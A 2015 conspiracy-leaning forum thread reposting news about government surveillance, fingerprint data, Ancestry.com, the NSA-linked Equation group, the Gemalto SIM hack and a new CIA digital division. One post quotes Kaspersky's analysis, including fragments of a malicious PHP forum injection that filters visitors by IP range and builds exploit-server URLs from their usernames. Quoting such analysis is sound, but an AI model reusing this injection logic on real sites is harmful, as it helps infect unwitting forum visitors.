However, Schneier noted an important point: Apple doesn't store an image of your actual fingerprint. Instead, the company uses a "mathematical representation" of your fingerprint. In other words, hackers wouldn't be able to lift a picture of your fingerprint, but they could perhaps take the data that represents it.

Still, Apple has said not to worry.

"It isn't possible for someone to reverse engineer your actual fingerprint image from this mathematical representation," Apple says.

Hackers aside, fingerprint data can spell trouble in another way: You can't conveniently "forget" it. A judge recently ruled ruled that cops can force you to unlock your phone using your fingerprints, even though they can't ask for your password.



http://www.huffingtonpost.com/2015/01/15/apple-fingerprint_n_6480088.html

Title: Re: they know what you are doing
Post by: Ellirium113 on January 16, 2015, 03:47:13 pm
Shocking: CIA clears CIA in Senate hacking brouhaha

Quote
The five officers involved in the CIA monitoring of computers Senate staffers used while probing the intelligence agency's torture program acted in good faith and committed no wrongdoing. That's according to a Wednesday report from an "accountability board" in which three of its five members are CIA officials.

The review board concluded there was simply a misunderstanding, that the CIA believed it could search the computers being used by staffers of the Senate Select Committee on Intelligence. National security was at stake, too.

"The Board determined that while an informal understanding existed that SSCI work product should be protected, no common understanding existed about the roles and responsibilities in the case of a suspected security incident," according to its highly redacted report [PDF] released Wednesday. The review said that the CIA's position was that it had "obligations under the National Security Act" and a legal duty to scour the computers "for the presence of Agency documents to which SSCI staff should not have access."

Sen. Dianne Feinstein (D-CA) chaired the intelligence committee last year when the breaches occurred, and the politician said she was "disappointed that no one at the CIA will be held accountable."

Feinstein said the decision "was made to search committee computers, and someone should be found responsible for those actions.”

http://arstechnica.com/tech-policy/2015/01/shocking-cia-clears-cia-in-senate-hacking-brouhaha/ (http://arstechnica.com/tech-policy/2015/01/shocking-cia-clears-cia-in-senate-hacking-brouhaha/)

It's ok...if they WERE found guilty they would also be prosecuted by the CIA.  :P  ;D
Title: Re: they know what you are doing
Post by: zorgon on January 16, 2015, 06:19:34 pm
Family history is in our DNA. What's in yours?

Ancestry.com wants yoou to send them a DNA sample so to better compare you with your ancestors when searching... and it will only cost you $99.00

 ::)

Get personalized details about your ethnic origins. Discover more about your story with advanced DNA science from the experts in family history.
Now $99

SOURCE (http://dna.ancestry.com/?hl=Find+your+ancestors+with+DNA&s_kwcid=+dna+testing+for++ancestry&gclid=Cj0KEQiAiuOlBRCU-8D6idaPz_UBEiQAzTagNFCPyccKsDVSJcOXHA_YwsPqyuIH6uvrt_Q2Zkzj7IgaAvNM8P8HAQ&o_xid=58712&o_lid=58712&o_sch=Paid+Search+%E2%80%93+Brand)

Okay so wait a second... They have DNA records of your ancestors on file?

Is ANYONE actually falling for this?


Title: Re: they know what you are doing
Post by: space otter on January 20, 2015, 09:01:37 am
yes..well I've been doing some personal genealogy and have found that ancestory dot com has the market pretty much controled.. and all for various price ranges
so I have been going around them as much as possible and have found quite a bit of info
that I was totally surprised by..man more relatives than I thought possible

anywho that is all besides the point of just who is ancestry  dot com
with a little digging it sounds a lot like someone else I just profiled

trust is just a hard thing anymore..ain't it.....sigh

oh yeah and after every day's searching I run a scan and ususally remove tons of tracking cookies
pisses me off totally..grrrrrrrr







addition to Permira, the buyout group includes the private equity firm's co-investors, members of Ancestry.com's management, including Chief Executive Tim Sullivan and Chief Financial Officer Howard Hochhauser, and Spectrum Equity, which owns about 30 percent of Ancestry.com, the Journal said.Oct 22, 2012






Ancestry.com Reportedly Agrees To $1.6 Billion Buyout
www.huffingtonpost.com/.../ancestry-deal_n_1999007...
The Huffington Post

Ancestry.com Reportedly Agrees To $1.6 Billion Buyout
Reuters
Posted: 10/22/2012 2:03 am EDT Updated: 10/21/2013 4:59 am EDT





(Reuters) - An investor group led by private equity firm Permira Advisers LLP has agreed to buy genealogy website Ancestry.com Inc for about $1.6 billion, or $32 a share, the Wall Street Journal reported, citing people familiar with the deal.

In addition to Permira, the buyout group includes the private equity firm's co-investors, members of Ancestry.com'sagement, including Chief Executive Tim Sullivan and Chief Financial Officer Howard Hochhauser, and Spectrum Equity, which owns about 30 percent of Ancestry.com, the Journal said.

Provo, Utah-based Ancestry, whose website helps users trace their family roots by scouring online records, and Permira Advisers, could not immediately be reached for comment outside regular U.S. business hours.

Shares of Ancestry.com closed at $29.18 Friday on the Nasdaq.


Ancestry received offers from the three private equity firms in August and none of the bidders met the company's price expectations at the time, sources familiar with the matter previously told Reuters.

(Reporting by Sakthi Prasad; additional reporting by Vrinda Manocha in Bangalore; Editing by Louise Heavens)
.......


History[edit]

Founded in 1993 by Brion Applegate and William Collatos, Spectrum Equity raised its first fund in May 1994. Applegate had been a general partner of funds managed by Burr, Egan, Deleage, & Co.[3] Collatos began his private equity career at TA Associates where he was a general partner before leaving to become a founding general partner of its spin-off, Media Communications Partners.[4] Spectrum Equity has raised seven private equity funds since its founding, totaling $5.7[1] billion of capital.
From Wikipedia, the free encyclopedia

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Spectrum Equity

Spectrum Equity


Type
 Private

Industry
Private Equity, Growth Equity

Founded
1994

Headquarters
Boston, Massachusetts, U.S San Francisco, California, U.S

Products
Growth capital, Recapitalizations

Total assets
$5.7 billion

Website
www.spectrumequity.com

Spectrum Equity is a growth equity firm, investing in businesses focused on the information economy. The firm’s partners have worked together for an average of 15 years,[1] leading a team operating out of offices in Boston, MA and San Francisco, CA. The firm’s sectors of focus include: Software & Information Services; Internet & Digital Media; and Communications, Media & Entertainment. Spectrum Equity seeks out companies which have defensible and sustainable business models with strong recurring revenue, significant operating leverage, strong cash flow margins, and franchise customer loyalty.[2] Typical equity investments range from $25 – $100 million,[1] and the firm is comfortable as either a minority or majority owner in companies. Spectrum Equity has invested in companies that are category leaders across North America, Western Europe, and Australia.

In addition to providing equity capital for growth and liquidity, Spectrum Equity plays a prominent role in helping its portfolio companies in the implementation of their business plans. As members of the board of directors for each of their portfolio companies, the Spectrum Equity team helps with strategic decisions, capital market transactions, recruitment of talent, the identification of acquisitions, and product initiatives.


....................



Permira | Investing in growth | Private Equity with Global ...
www.permira.com/ Cached
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Permira
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Founded in 1985, Permira is a European private equity firm with global reach. The firm advises funds with a committed capital of approximately €20 billion.
?People - ?Investments - ?Offices - ?Hong Kong

Permira is a European private equity firm, founded in 1985. The firm advises funds with a total committed capital of approximately €20 billion. Since 1985 the Permira funds, raised from pension funds and other institutions, have made nearly 200 private equity investments.

Permira specialises in five sectors: Consumer, Financial Services, Healthcare, Industrials and TMT (Technology, Media, Telecommunications). There are currently 25 companies in the Permira funds’ portfolio and the firm comprises approximately 120 professionals.

The firm's teams are based in Frankfurt, Guernsey, Hong Kong, London, Luxembourg, Madrid, Menlo Park, Milan, New York, Paris, Stockholm and Tokyo. Permira is led by two co-managing partners Kurt Björklund and Tom Lister.

The Social Business Trust[edit]
Permira is a founding partner of Social Business Trust (SBT), a social enterprise fund. Since launching in December 2010, SBT has made five investments - Women Like Us, The Challenge Network, Moneyline, the London Early Years Foundation and the Inspiring Futures Foundation. SBT is a partnership of six leading global companies (Bain & Co, Clifford Chance, Credit Suisse, Ernst & Young, Permira and Thomson-Reuters) dedicated to transforming social enterprises by providing £10m of growth capital and skilled support


well yes of course I will send you my dna..  NOT





 :(      >:(     :-X 


seems a lot of money is being spent on herding the sheeple....wonder why 




damn I can't seem to stop looking stuff up...I think I need a nap and maybe this bug will go away

there's more.. there is always more




http://kcpw.org/blog/the-bottom-line/2014-07-08/tim-sullivan-ancestry-com-president-ceo/

The Bottom Line: Ancestry.com President & CEO, Tim Sullivan

Ross 07/8/2014 7 Comments
 

TimSullivanThe Bottom Line (Air Date: July 8, 2014) – Utah-based Ancestry.com is the world’s largest online family history resource. Under Tim Sullivan’s leadership, Ancestry.com has grown to over 2.7 million paying subscribers, and generates more than a half a billion dollars a year in revenue.  It was recently sold to a private equity firm for $1.6 billion.  Sullivan talks about Ancestry.com’s DNA service that helps people learn their ethnic makeup and connects them to their deep genealogical past.  He also explains how Ancestry.com has tried to make family history research easier while not alienating serious genealogy researchers.  Sullivan shares his journey from the University of North Carolina with a Morehead Scholarship and his early interest in documentary film-making.  He later worked for Disney’s home video division, then for Disney in Hong Kong, and later transitioned to Ticketmaster-City Search. Sullivan talks about Ancestry.com’s 2013 $60 million partnership with the LDS Church to bring over one billion historical documents online.



Podcast: Play in new window | Download (26.2MB)    podcast at link





http://www.glassdoor.com/Overview/Working-at-Ancestry-com-EI_IE243532.11,23.htm




.......... I think it's January cabin fever.....yikes


[youtube]http://www.youtube.com/watch?v=I8P80A8vy9I[/youtube]








but to prove that I really am an optimist.. I'm off to go thur the pile of seed catalogs
with that song as an ear worm today

Title: Re: they know what you are doing
Post by: space otter on January 27, 2015, 10:03:26 pm

http://www.huffingtonpost.com/2015/01/27/snowden-regin-spy_n_6559520.html




New Snowden Findings Suggest Cyber-Espionage Program Used By Several Countries
 


 Reuters 
  Posted:  01/27/2015 9:29 pm EST    Updated:  1 hour ago

SAN FRANCISCO, Jan 27 (Reuters) - A program used by U.S. and British spies to record computer keystrokes was part of sophisticated hacking operations in more than a dozen countries, security experts said on Tuesday, after former NSA contractor Edward Snowden reportedly leaked the source code for the program.

On Tuesday, researchers at security software firm Kaspersky Lab said that much of that code, published this month by German magazine Spiegel, matched what they previously found in machines infected by Regin, a major suite of spying tools exposed in November.

Lead Kaspersky researcher Costin Raiu said that the keylogging program, called Qwerty, would work only with Regin, and that it appeared several Western countries' spies had been using Regin over the course of a decade.
Multiple attacker groups are using the Regin platform, which is a new conclusion for us,” Raiu told Reuters.

Spiegel and other publications reported earlier that Regin had been used in the hacking of Belgian telecommunications provider Belgacom, which slides provided by Snowden said was targeted to enable spying on mobile phones in Europe.

Overall, the malicious software has been discovered at more than two dozen sites in 14 countries, including Russia, India, Germany and Brazil. Targets included government agencies, financial institutions and multilateral bodies.

The NSA did not respond to a request for comment. After past Snowden disclosures, it has avoided discussing specific operations but said it complies with U.S. law, which allows broad surveillance overseas.

The new findings suggest that Regin was a platform for spying operations that was shared among the so-called Five Eyes—the United States, United Kingdom, Canada Australia, and New Zealand.

In its own November report on Regin, top U.S. antivirus company Symantec Corp said it was extraordinarily well disguised, and that even when traces were found it was difficult to know the purpose. Like some other top-tier spying programs, Regin has different modules that can be installed to achieve different ends.

Symantec said it found victims in the telecom industry as well as energy, airline and research concerns.

(Reporting by Joseph Menn; Editing by Christian Plumb)


Title: Re: they know what you are doing
Post by: space otter on February 16, 2015, 09:24:10 pm


NSA Has Ability To Hide Spying Software Deep Within Hard Drives: Cyber Researchers



 Reuters    |  By Joseph Menn 
  Posted:  02/16/2015 7:39 pm EST    Updated:  15 minutes ago

By Joseph Menn

SAN FRANCISCO, Feb 16 (Reuters) - The U.S. National Security Agency has figured out how to hide spying software deep within hard drives made by Western Digital, Seagate, Toshiba and other top manufacturers, giving the agency the means to eavesdrop on the majority of the world's computers, according to cyber researchers and former operatives.

That long-sought and closely guarded ability was part of a cluster of spying programs discovered by Kaspersky Lab, the Moscow-based security software maker that has exposed a series of Western cyberespionage operations.

Kaspersky said it found personal computers in 30 countries infected with one or more of the spying programs, with the most infections seen in Iran, followed by Russia, Pakistan, Afghanistan, China, Mali, Syria, Yemen and Algeria. The targets included government and military institutions, telecommunication companies, banks, energy companies, nuclear researchers, media, and Islamic activists, Kaspersky said. (http://reut.rs/1L5knm0)

The firm declined to publicly name the country behind the spying campaign, but said it was closely linked to Stuxnet, the NSA-led cyberweapon that was used to attack Iran's uranium enrichment facility. The NSA is the U.S. agency responsible for gathering electronic intelligence.

A former NSA employee told Reuters that Kaspersky's analysis was correct, and that people still in the spy agency valued these espionage programs as highly as Stuxnet. Another former intelligence operative confirmed that the NSA had developed the prized technique of concealing spyware in hard drives, but said he did not know which spy efforts relied on it.

NSA spokeswoman Vanee Vines said the agency was aware of the Kaspersky report but would not comment on it publicly.

Kaspersky on Monday published the technical details of its research on Monday, a move that could help infected institutions detect the spying programs, some of which trace back as far as 2001. (http://bit.ly/17bPUUe)

The disclosure could hurt the NSA's surveillance abilities, already damaged by massive leaks by former contractor Edward Snowden. Snowden's revelations have upset some U.S. allies and slowed the sales of U.S. technology products abroad.

The exposure of these new spying tools could lead to greater backlash against Western technology, particularly in countries such as China, which is already drafting regulations that would require most bank technology suppliers to proffer copies of their software code for inspection.

Peter Swire, one of five members of U.S. President Barack Obama's Review Group on Intelligence and Communications Technology, said the Kaspersky report showed that it is essential for the country to consider the possible impact on trade and diplomatic relations before deciding to use its knowledge of software flaws for intelligence gathering.

"There can be serious negative effects on other U.S. interests," Swire said.



TECHNOLOGICAL BREAKTHROUGH


According to Kaspersky, the spies made a technological breakthrough by figuring out how to lodge malicious software in the obscure code called firmware that launches every time a computer is turned on.

Disk drive firmware is viewed by spies and cybersecurity experts as the second-most valuable real estate on a PC for a hacker, second only to the BIOS code invoked automatically as a computer boots up.

"The hardware will be able to infect the computer over and over," lead Kaspersky researcher Costin Raiu said in an interview.

Though the leaders of the still-active espionage campaign could have taken control of thousands of PCs, giving them the ability to steal files or eavesdrop on anything they wanted, the spies were selective and only established full remote control over machines belonging to the most desirable foreign targets, according to Raiu. He said Kaspersky found only a few especially high-value computers with the hard-drive infections.

Kaspersky's reconstructions of the spying programs show that they could work in disk drives sold by more than a dozen companies, comprising essentially the entire market. They include Western Digital Corp, Seagate Technology Plc , Toshiba Corp, IBM, Micron Technology Inc and Samsung Electronics Co Ltd.

Western Digital, Seagate and Micron said they had no knowledge of these spying programs. Toshiba and Samsung declined to comment. IBM did not respond to requests for comment.


GETTING THE SOURCE CODE


Raiu said the authors of the spying programs must have had access to the proprietary source code that directs the actions of the hard drives. That code can serve as a roadmap to vulnerabilities, allowing those who study it to launch attacks much more easily.

"There is zero chance that someone could rewrite the [hard drive] operating system using public information," Raiu said.

Concerns about access to source code flared after a series of high-profile cyberattacks on Google Inc and other U.S. companies in 2009 that were blamed on China. Investigators have said they found evidence that the hackers gained access to source code from several big U.S. tech and defense companies.

It is not clear how the NSA may have obtained the hard drives' source code. Western Digital spokesman Steve Shattuck said the company "has not provided its source code to government agencies." The other hard drive makers would not say if they had shared their source code with the NSA.

Seagate spokesman Clive Over said it has "secure measures to prevent tampering or reverse engineering of its firmware and other technologies." Micron spokesman Daniel Francisco said the company took the security of its products seriously and "we are not aware of any instances of foreign code."

According to former intelligence operatives, the NSA has multiple ways of obtaining source code from tech companies, including asking directly and posing as a software developer. If a company wants to sell products to the Pentagon or another sensitive U.S. agency, the government can request a security audit to make sure the source code is safe.

"They don't admit it, but they do say, 'We're going to do an evaluation, we need the source code,'" said Vincent Liu, a partner at security consulting firm Bishop Fox and former NSA analyst. "It's usually the NSA doing the evaluation, and it's a pretty small leap to say they're going to keep that source code."

The NSA declined to comment on any allegations in the Kaspersky report. Vines said the agency complies with the law and White House directives to protect the United States and its allies "from a wide array of serious threats."

Kaspersky called the authors of the spying program "the Equation group," named after their embrace of complex encryption formulas.

The group used a variety of means to spread other spying programs, such as by compromising jihadist websites, infecting USB sticks and CDs, and developing a self-spreading computer worm called Fanny, Kaspersky said.

Fanny was like Stuxnet in that it exploited two of the same undisclosed software flaws, known as "zero days," which strongly suggested collaboration by the authors, Raiu said. He added that it was "quite possible" that the Equation group used Fanny to scout out targets for Stuxnet in Iran and spread the virus.



(Reporting by Joseph Menn; Editing by Tiffany Wu)

http://www.huffingtonpost.com/2015/02/16/nsa-computer-spying_n_6694736.html
Title: Re: they know what you are doing
Post by: ArMaP on February 17, 2015, 07:04:47 am
Some snippets from the Kaspersky PDF at http://bit.ly/17bPUUe that I find interesting, with the most interesting (for me) parts marked in yellow:

Quote
The main purpose of Fanny appears to have been the mapping of air-gapped networks. For this, it used a unique USB-based command and control mechanism. When a USB stick is infected, Fanny creates a hidden storage area on the stick. If it infects a computer without an internet connection, it will collect basic system information and save it onto the hidden area of the stick. Later, when a stick containing hidden information is plugged into an internet-connected computer infected by Fanny, the data will be scooped up from the hidden area and sent to the C&C. If the attackers want to run commands on the air-gapped networks, they can save these commands in the hidden area of the USB stick. When the stick is plugged into the air-gapped computer, Fanny will recognize the commands and execute them. This effectively allowed the Equation group to run commands inside air-gapped networks through the use of infected USB sticks, and also map the infrastructure of such networks.

Quote
The Equation group relies on multiple techniques to infect their victims. These include:
•     Self-replicating (worm) code – Fanny
•     Physical media, CD-ROMs
•     USB sticks + exploits
•     Web-based exploits
The attacks that use physical media (CD-ROMs) are particularly interesting because they indicate the use of a technique known as “interdiction”, where the attackers intercept shipped goods and replace them with Trojanized versions.

One such incident involved targeting participants at a scientific conference in Houston. Upon returning home, some of the participants received by mail a copy of the conference proceedings, together with a slideshow including various conference materials. The [compromised ?] CD-ROM used “autorun.inf” to execute an installer that began by attempting to escalate privileges using two known EQUATION group exploits. Next, it attempted to run the group’s DOUBLEFANTASY implant and install it onto the victim’s machine. The exact method by which these CDs were interdicted is unknown. We do not believe the conference organizers did this on purpose. At the same time, the super-rare DOUBLEFANTASY malware, together with its installer with two zero-day exploits, don’t end up on a CD by accident.

Another example is a Trojanized Oracle installation CD that contains an EQUATIONLASER Trojan dropper alongside the Oracle installer.

Quote
With threat actor groups as skilled as the Equation team, mistakes are rare. Nevertheless, they do happen. Some of the keywords forgotten in the modules that we analyzed include:
•     SKYHOOKCHOW
•     prkMtx – unique mutex used by the Equation group’s exploitation library (“PrivLib”)
•     “SF” – as in “SFInstall”, “SFConfig”
•     “UR”, “URInstall” – “Performing UR-specific post-install...”
•     “implant” – from “Timeout waiting for the “canInstallNow” event from the implant-specific EXE!”
•     STEALTHFIGHTER – (VTT/82055898/STEALTHFIGHTER/2008-10-16/14:59:06.229-04:00)
•     DRINKPARSLEY –  (Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00)
•     STRAITACID –  (VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00)
•     LUTEUSOBSTOS –  (VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00)
•     STRAITSHOOTER STRAITSHOOTER30.exe
•     DESERTWINTER –  c:\desert~2\desert~3\objfre_w2K_x86\i386\DesertWinterDriver.pdb
•     GROK – standalonegrok_2.1.1.1
•     “RMGREE5” – c:\users\rmgree5\...

Quote
Note:  The codename GROK appears in several documents published by Der Spiegel (http://www.itnews.com.au/News/374987,nsa-spreads-malware-on-an-industrial-scale.aspx), where “a keylogger” is mentioned. Our analysis indicates EQUATIONGROUP’s GROK plugin is indeed a keylogger on steroids that can perform many other functions.

Quote
Victims generally fall into the following categories:
•     Governments and diplomatic institutions
•     Telecommunication
•     Aerospace
•     Energy
•     Nuclear research
•     Oil and gas
•     Military
•     Nanotechnology
•     Islamic activists and scholars
•     Mass media
•     Transportation
•     Financial institutions
•     Companies developing cryptographic technologies

Quote
All the malware we have collected so far is designed to work on Microsoft’s Windows operating system. However, there are signs that non-Windows malware does exist. For instance, one of the sinkholed C&C domains is currently receiving connections from a large pool of victims in China that appear to be Mac OS X computers (based on the user-agent).

The malware callbacks are consistent with the DOUBLEFANTASY schema, which normally injects into the system browser (for instance, Internet Explorer on Windows).

The callbacks for the suspected Mac OS X versions have the following user agents:
•     Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17
•     Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
•     Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10

This leads us to believe that a Mac OS X version of DOUBLEFANTASY also exists.

Additionally, we observed that one of the malicious forum injections, in the form of a PHP script, takes special precautions to show a different type of HTML code to Apple iPhone visitors. Unlike other cases, such as visitors from Jordan, which does not get targeted, iPhone visitors are redirected to the exploit server, suggesting the ability to infect iPhones as well.

Quote
On March 2, 2013, a Kaspersky Lab user browsing an online forum was attacked with an exploit from one of the Equation group’s exploitation servers:

2013-03-02 –  technicalconsumerreports[.]com/modular/assemble.php?params=YoGKKdExT[snip]cS5kS5t0bvGQyB8miDu+Agn – detected HEUR:Exploit.Script.Generic

The attack was unsuccessful as it was caught by our product and the user was protected. The attack was targeting Firefox 17 (TOR Browser), using an unknown exploit that we have not recovered.
Looking further, we identified a few other known Equation servers used in similar attacks even earlier:

2012-12-11 –  technology-revealed[.]com/diagram/navigate.html?overlay=AL[snip]OISn6sI1&sn=d1[SNIP]dd

These attacks were delivered in several ways – for example, while the user visited a number of Islamic Jihadist discussion forums, or via advertisements on popular websites in the Middle East.

The forums in question appear to have been compromised by a specific PHP script that exploited only authenticated visitors.

Quote
In practice, this means that only logged-in users will be exploited. Next, the PHP exploitation script checks if the user comes from a specific address range:
•     if(preg_match('/^(64.38.3.50|195.28.|94.102.|91.93.|41.130.|212.118.|79.173.|85.159.|94.249.|86.108.)/',IPADDRESS)){return "";}

Converting the ranges to their respective countries (except for 64.38.3.50, which is the only specific IP mentioned) we get the following TOP 3 countries that will NOT be exploited:
1.  Jordan
2.  Turkey
3.  Egypt
This means that the attackers have taken special care not to infect users visiting from certain ISPs in these countries. If the visitors are from any other IP range, the PHP script constructs an exploitation URL which includes the logged in vBulletin forum name:

$htt="http://technology-revealed[.]com/expand/order.php?design=ABRSRgDQlkUALAxGANDrRu
QQofe6Y0THS8E3hfBC+M+k7CdBmTH5gAkLvgV8EV3ULW+7KoUjbJ4UOFU6SVOtgEK7zTgPPNoDH
z4vKecDGe7OzDmJlvwKvc5uYg/I/5x9";

$htt=$htt."&sn=".bin2hex(substr($u,0,14));

The vBulletin forum username is stored in hex, as the “sn=” parameter to the exploit site. The exploit site can choose to hit the visitor with an exploit depending on the username, meaning that the attackers are taking great care to infect only very specific targets on these forums.

Interestingly, the PHP script produces a different HTML page for iPhone visitors:
•     if (preg_match('/iPhone/',$_SERVER['HTTP_USER_AGENT'])){$scroll='yes';}

This indicates that the exploit server is probably aware of iPhone visitors and can deliver exploits for them as well; otherwise, the exploitation URL can simply be removed for these visitors.

Most recently, the attackers used Java exploits, delivered through a specific server to visitors from the Middle East via advertising networks on popular websites.
Title: Re: they know what you are doing
Post by: space otter on February 22, 2015, 04:31:59 pm



NSA, British Spies Hacked SIM Card Maker, Had Access To Billions Of Phones: Report
 


 Reuters    |  By Eric Auchard 
   Posted:  02/20/2015 10:56 am EST    Updated:  02/21/2015 8:59 am EST

* U.S., UK spies hacked SIM card maker Gemalto's system -Intercept

* News website cites documents from Edward Snowden

* Says gave spies ability to monitor calls on billions of phones

* Franco-Dutch firm Gemalto says it is investigating report (Adds information from European security source)

By Eric Auchard

FRANKFURT, Feb 20 (Reuters) - U.S. and British spies hacked into the world's biggest maker of phone SIM cards, allowing them to potentially monitor the calls, texts and emails of billions of mobile users around the world, an investigative news website reported.

The alleged hack on Gemalto, if confirmed, would expand the scope of known mass surveillance methods available to U.S. and British spy agencies to include not just email and web traffic, as previously revealed, but also mobile communications.

The Franco-Dutch company said on Friday it was investigating whether the U.S. National Security Agency (NSA) and Britain's GCHQ had hacked into its systems to steal encryption keys that could unlock the security settings on billions of mobile phones.

The report by The Intercept site, which cites documents provided by former NSA contractor Edward Snowden, could prove an embarrassment for the U.S. and British governments. It opens a fresh front in the dispute between civil liberties campaigners and intelligence services which say their citizens face a grave threat of attack from militant groups like Islamic State.

It comes just weeks after a British tribunal ruled that GCHQ had acted unlawfully in accessing data on millions of people in Britain that had been collected by the NSA.

The Intercept report (http://bit.ly/19E0KUK) said the hack was detailed in a secret 2010 GCHQ document and allowed the NSA and GCHQ to monitor a large portion of voice and data mobile communications around the world without permission from governments, telecom companies or users.

"We take this publication very seriously and will devote all resources necessary to fully investigate and understand the scope of such sophisticated techniques," said Gemalto, whose shares sunk by as much as 10 percent in early trading on Friday, following the report.

The report follows revelations from Snowden in 2013 of the NSA's Prism program which allowed the agency to access email and web data handled by the world's largest Internet companies, including Google, Yahoo and Facebook.

A spokeswoman for Britain's GCHQ (Government Communication Headquarters) said on Friday that it did not comment on intelligence matters. The NSA could not be immediately reached for comment.

A European security source said that mobile devices were widely used by terrorist groups and that intelligence agencies' attempts to access the communications were justified if they were "authorized, necessary and proportionate." The source did not confirm or deny that the documents were from GCHQ.

The source also said Western agencies would sometimes hold on to data over time in order to decrypt the communications of specific intelligence targets.

The source added that wireless networks in Iran, Afghanistan and Yemen were viewed as having significance intelligence value. These were identified by the Intercept as countries where Britain's GCHQ intercepted encryption keys used by local wireless network providers.


SURVEILLANCE

The new allegations could boost efforts by major technology firms such as Apple Inc and Google to make strong encryption methods standard in communications devices they sell, moves attacked by some politicians and security officials.

Leaders including U.S. President Barack Obama and British Prime Minister David Cameron have expressed concern that turning such encryption into a mass-market feature could prevent governments from tracking militants planning attacks.

Gemalto makes SIM (Subscriber Identity Module) cards for phones and tablets as well as "chip and pin" bank cards and biometric passports. It produces around 2 billion SIM cards a year and counts Verizon, AT&T Inc and Vodafone among hundreds of wireless network provider customers.

The European security source said that an assertion by The Intercept that GCHQ had taken control of Gemalto's internal network was speculative and not supported by documentation published by the website.

The Intercept, published by First Look Media, was founded by the journalists who first interviewed Snowden and made headlines around the world with reports on U.S. electronic surveillance programs.

It published what it said was a secret GCHQ document that said its staff implanted software to monitor Gemalto's entire network, giving them access to SIM card encryption keys. The report suggested this gave GCHQ, with the backing of the NSA, unlimited access to phone communications using Gemalto SIMs.

French bank Mirabaud said in a research report the attacks appeared to be limited to 2010 and 2011 and were aimed only at older 2G phones widely used in emerging markets, rather than modern smartphones. It did not name the source of these assertions.

Some analysts argued that if a highly security-conscious company like Gemalto is vulnerable, then all of its competitors are as well.

Gemalto competes with several European and Chinese SIM card suppliers. A spokesman for one major rival, Giesecke & Devrien of Germany, told Reuters: "We have no signs that something like that happened to us. We always do everything to protect our customers' data."

But while security experts have long believed spy agencies in many countries have the ability to crack the complex mathematical codes used to encrypt most modern communications, such methods remain costly, limiting their usefulness to targeted hijacking of individual communications.


(Additional reporting by Abhirup Roy and Supantha Mukherjee in Bengaluru; Leigh Thomas, Cyril Altmeyer, Blaise Robinson and Nicholas Vinocur in Paris, Mark Hosenball in Washington,; Jens Hack in Munich; and Harro ten Wolde in Frankfurt; Editing by Andrew Callus and Pravin Char)
Title: Re: they know what you are doing
Post by: space otter on March 07, 2015, 10:01:03 am
http://www.latimes.com/nation/nationnow/la-na-nn-cia-cyber-espionage-20150305-story.html#page=1


CIA to create a digital spy division



March 6, 2015, 6:51 PM|Reporting from Langley, Va.




After more than a decade of hunting terrorists, stopping plots and scrambling from crisis to crisis, the CIA has concluded it has been outflanked and outwitted on a critical front: digital tradecraft..

On Friday, the CIA acknowledged that it was time to move into the 21st century, saying it was creating a special division to conduct cyberespionage.

Along with crunching data to help identify and approach new spies to recruit, the CIA hopes to improve its ability to trace the “digital dust” that potential targets leave during activities such as using an ATM card, renting a car or moving through a city with a cellphone.

Rival spy agencies use those digital fingerprints to help track CIA operatives, and the agency wants to find techniques to help officers working undercover hide their tracks online.
The digital world touches every aspect of our business,” CIA Director John O. Brennan told reporters at CIA headquarters here. He acknowledged that the agency had been slow to adapt to the challenge.

The restructuring at the CIA comes after U.S. intelligence was caught off-guard by a series of high-profile digital attacks, including North Korea's destruction of computer systems at Sony Pictures and an Iranian-launched cyberassault on Las Vegas Sands Corp., the world's largest casino company, both last year.

James R. Clapper, the director of national intelligence, warned Congress last month that cyberattacks posed a greater long-term threat to national security than terrorism.

The Pentagon, FBI and Department of Homeland Security have stepped up cybersecurity operations, and the White House last month announced a new agency to help analyze and share digital threat information between government and business.

The new CIA division will be called the Directorate of Digital Innovation. It will have the same level of authority as the four long-standing directorates responsible for clandestine operations, analysis, spy gadgetry and logistical support.

“We must place our activities and operations in the digital domain at the very center of all our mission endeavors,” Brennan told the CIA workforce on Friday.

The new focus threatens to put the CIA in direct competition with the mammoth National Security Agency, which specializes in breaking codes, vacuuming up conversations and communications, and analyzing huge troves of digital transmissions. The Pentagon's Cyber Command is responsible for launching digital warfare.

U.S. intelligence is both at the forefront, and a leading target, of hack attacks. The CIA long has barred people from bringing smartphones, portable hard drives and other digital devices into its headquarters to prevent people from copying or corrupting sensitive files.
Those fears were reinforced when Edward Snowden, a former CIA employee who went to work for the NSA as a contractor, copied vast troves of highly classified files about NSA surveillance systems and gave them to journalists. Snowden now lives in exile in Russia.

Officials said the CIA would focus less on collecting so-called signals intelligence and more on how to use digital tools to help protect American operatives and persuade adversaries to spill their secrets.

“We don't want to invest a lot of time, resources and energy” recruiting sources to steal secrets that are freely available online, Brennan told reporters.

As part of the reorganization, the agency also will create 10 regional and issue-focused “mission centers” that will attempt to break down the traditional walls between the directorates, especially the operators who steal secrets and recruit agents and the analysts who pore over data and brief policymakers and the president.

“There was, I think, great esprit de corps in those directorates, but also at times those directorates were a bit siloed, and were stovepiped,” not sharing critical intelligence, Brennan said. Crucial data about threats still fall into “seams” between different divisions, he added.

The CIA was pilloried after the Sept. 11, 2001, terrorist attacks for failing to share information that might have allowed U.S. authorities to stop the Al Qaeda plot. The 9/11 Commission recommended numerous reforms after that intelligence failure, partly aimed at ending the lack of communication, but Brennan's comments suggest the problem persists.

Michael Allen, a former staff member for the House Intelligence Committee, said Brennan wanted to clone the aggressive focus that the CIA's counter-terrorism center used to track and kill scores of Al Qaeda operatives and ultimately Osama bin Laden

“Brennan is trying to integrate the CIA's dissimilar tribes to replicate the manhunting success” after 2001, Allen said.

He said the attempt to break down barriers between analysts and operators, two deeply entrenched cultures, wouldn't be easy.

“This will take years and bureaucratic blood on the floor to blend these cultures,” he said.

Brennan said that when he joined the CIA in 1980, headquarters kept a separate cafeteria for undercover officers to shield their identities from rank-and-file employees. Field operatives sometimes mocked analysts for sitting at a desk, and analysts worried that knowing too much about espionage could bias their interpretation of information.

That culture has changed over the last decade, but not enough, Brennan said.

